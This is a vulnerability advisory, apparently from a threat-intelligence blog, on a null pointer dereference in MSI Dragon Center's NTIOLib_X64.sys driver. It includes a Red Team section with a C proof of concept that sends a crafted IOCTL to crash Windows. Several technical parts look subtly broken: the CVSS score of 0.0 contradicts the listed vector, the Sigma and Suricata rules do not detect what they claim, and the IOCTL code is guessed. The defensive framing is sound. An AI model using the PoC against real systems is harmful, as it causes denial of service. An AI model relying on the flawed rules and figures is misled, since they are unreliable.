CVE-2024-12227

Executive Summary

CVE-2024-12227 is a locally exploitable null pointer dereference vulnerability in the MSI Dragon Center utility, specifically within the NTIOLib_X64.sys kernel driver. The flaw resides in the MmUnMapIoSpace function, which is invoked via an IOCTL handler. Successful exploitation allows a local attacker with low privileges to cause a denial of service (system crash/BSOD) by triggering a null pointer dereference. The vulnerability is classified as problematic with a CVSS score of 0.0 (likely due to incomplete scoring), but the potential for system instability is real. The vendor has released version 2.0.148.0 to address the issue.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a driver-level issue in a proprietary Windows utility. The attack surface is limited to local access, making it a lower priority for remote exploitation but still a risk for multi-user environments or systems where untrusted users have local access.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required beyond sending a crafted IOCTL.
• Privileges Required (PR): Low (PR:L) – The attacker needs only user-level privileges.
• User Interaction (UI): None (UI:N) – No user interaction is required.
• Scope (S): Unchanged (S:U) – The exploitation does not affect other components.
• Confidentiality (C): None (C:N) – No data is exposed.
• Integrity (I): None (I:N) – No data is modified.
• Availability (A): High (A:H) – The system becomes unavailable due to a crash.

Threat Level: Low (local only, DoS only). However, in environments where system uptime is critical, this could be considered a moderate risk.

Deep Dive & Mechanics

The vulnerability exists in the NTIOLib_X64.sys driver, which is part of MSI Dragon Center. This driver provides low-level hardware access for system monitoring and control. The MmUnMapIoSpace function is used to unmap physical memory pages that were previously mapped into the system's virtual address space. The IOCTL handler does not properly validate the input parameters before calling this function, leading to a null pointer dereference.

When a user-mode application sends a crafted IOCTL code to the driver, the handler passes a null or invalid pointer to MmUnMapIoSpace. The kernel attempts to dereference this pointer, causing a page fault in a non-paged area, which results in a Blue Screen of Death (BSOD) and system crash.

The vulnerable function is likely called with a pointer that is not checked for NULL before use. The fix in version 2.0.148.0 presumably adds proper validation of the pointer before calling MmUnMapIoSpace.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

NTSTATUS IoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    switch (ioctlCode) {
        case IOCTL_UNMAP_MEMORY:
            // No validation of inputBuffer
            MmUnMapIoSpace(inputBuffer, size);
            break;
    }
    return STATUS_SUCCESS;
}

Patched Code (Conceptual):

NTSTATUS IoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    switch (ioctlCode) {
        case IOCTL_UNMAP_MEMORY:
            if (inputBuffer == NULL) {
                return STATUS_INVALID_PARAMETER;
            }
            MmUnMapIoSpace(inputBuffer, size);
            break;
    }
    return STATUS_SUCCESS;
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service on a target system running MSI Dragon Center < 2.0.148.0.

Prerequisites:

• Local access to the target machine (user-level account).
• MSI Dragon Center installed with the vulnerable driver loaded.

Steps:

1. Identify the device handle for the NTIOLib_X64.sys driver (e.g., \\.\NTIOLib).
2. Craft an IOCTL request with a null or invalid input buffer pointer.
3. Send the IOCTL to the driver using DeviceIoControl.
4. The system will crash with a BSOD.

Proof-of-Concept (PoC) Code:

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\NTIOLib", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    DWORD bytesReturned;
    // IOCTL code for MmUnMapIoSpace (hypothetical)
    #define IOCTL_UNMAP_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

    // Send a null pointer as input buffer
    BOOL result = DeviceIoControl(hDevice, IOCTL_UNMAP_MEMORY, NULL, 0, NULL, 0, &bytesReturned, NULL);
    if (!result) {
        printf("DeviceIoControl failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Note: The exact IOCTL code may vary. This is a conceptual example.

Blue Team

Detection:

• Monitor for unusual DeviceIoControl calls to \\.\NTIOLib from non-system processes.
• Look for system crashes (BSOD) with bugcheck codes related to NTIOLib_X64.sys.
• Use Sysmon to log driver load events and process creation.

Mitigation:

• Apply the vendor patch (upgrade to version 2.0.148.0).
• Restrict local user accounts to prevent untrusted users from running code.
• Use application whitelisting to block unauthorized executables.

Indicators of Compromise (IOCs)

• File: NTIOLib_X64.sys (versions < 2.0.148.0)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\NTIOLib
• Event Log: System event ID 1001 (Bugcheck) with driver name NTIOLib_X64.sys
• Process: Any process calling DeviceIoControl on \\.\NTIOLib with suspicious IOCTL codes.

Detection Engineering

YARA Rule

rule CVE_2024_12227_NTIOLib_NullPtr {
    meta:
        description = "Detects vulnerable NTIOLib_X64.sys driver versions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12227"
    strings:
        $driver_name = "NTIOLib_X64.sys"
        $version_string = "2.0.146.0" // Example vulnerable version
    condition:
        $driver_name and $version_string
}

Sigma Rule

title: CVE-2024-12227 - MSI Dragon Center Null Pointer Dereference
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit a null pointer dereference in NTIOLib_X64.sys
author: Valters IT
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11 # FileCreate
        TargetFilename|endswith: 'NTIOLib_X64.sys'
    condition: selection
falsepositives:
    - Legitimate MSI Dragon Center updates
level: medium

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-12227 - MSI Dragon Center Null Pointer Dereference"; content:"NTIOLib_X64.sys"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade MSI Dragon Center to version 2.0.148.0 or later.
2. Workaround: If upgrading is not possible, disable the NTIOLib service or uninstall Dragon Center.
3. Long-term: Implement driver signing and validation policies to ensure only trusted drivers are loaded.
4. Monitoring: Enable logging for driver load events and monitor for BSODs related to NTIOLib_X64.sys.

Valters IT
DevSecOps & Cyber Threat Intelligence